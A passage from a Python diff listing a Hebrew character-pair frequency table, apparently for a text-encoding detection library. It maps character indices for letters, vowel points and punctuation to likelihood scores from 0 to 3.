24: 0, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 15: { # 'כ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 3, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 2, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 4: { # 'ל' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 3, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 11: { # 'ם' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 1, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 1, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 6: { # 'מ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 0, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 23: { # 'ן' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 1, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 12: { # 'נ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 19: { # 'ס' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 1, # 'ָ' + 35: 1, # 'ֹ' + 62: 2, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 1, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 1, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 13: { # 'ע' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 1, # 'ֱ' + 41: 2, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 1, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 2, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 26: { # 'ף' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 1, # 'ס' + 13: 0, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 18: { # 'פ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 2, # 'ֶ' + 31: 1, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 2, # 'ב' + 20: 3, # 'ג' + 16: 2, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 2, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 27: { # 'ץ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 1, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 0, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 21: { # 'צ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 1, # 'ז' + 14: 3, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 1, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 1, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 0, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 17: { # 'ק' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 1, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 2, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 7: { # 'ר' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 2, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 1, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 3, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 10: { # 'ש' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 1, # 'ִ' + 37: 1, # 'ֵ' + 36: 1, # 'ֶ' + 31: 1, # 'ַ' + 29: 1, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 3, # 'ׁ' + 45: 2, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 5: { # 'ת' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 1, # '¼' + 39: 1, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 2, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 32: { # '–' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 1, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 52: { # '’' + 50: 1, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 1, # 'r' + 43: 2, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' 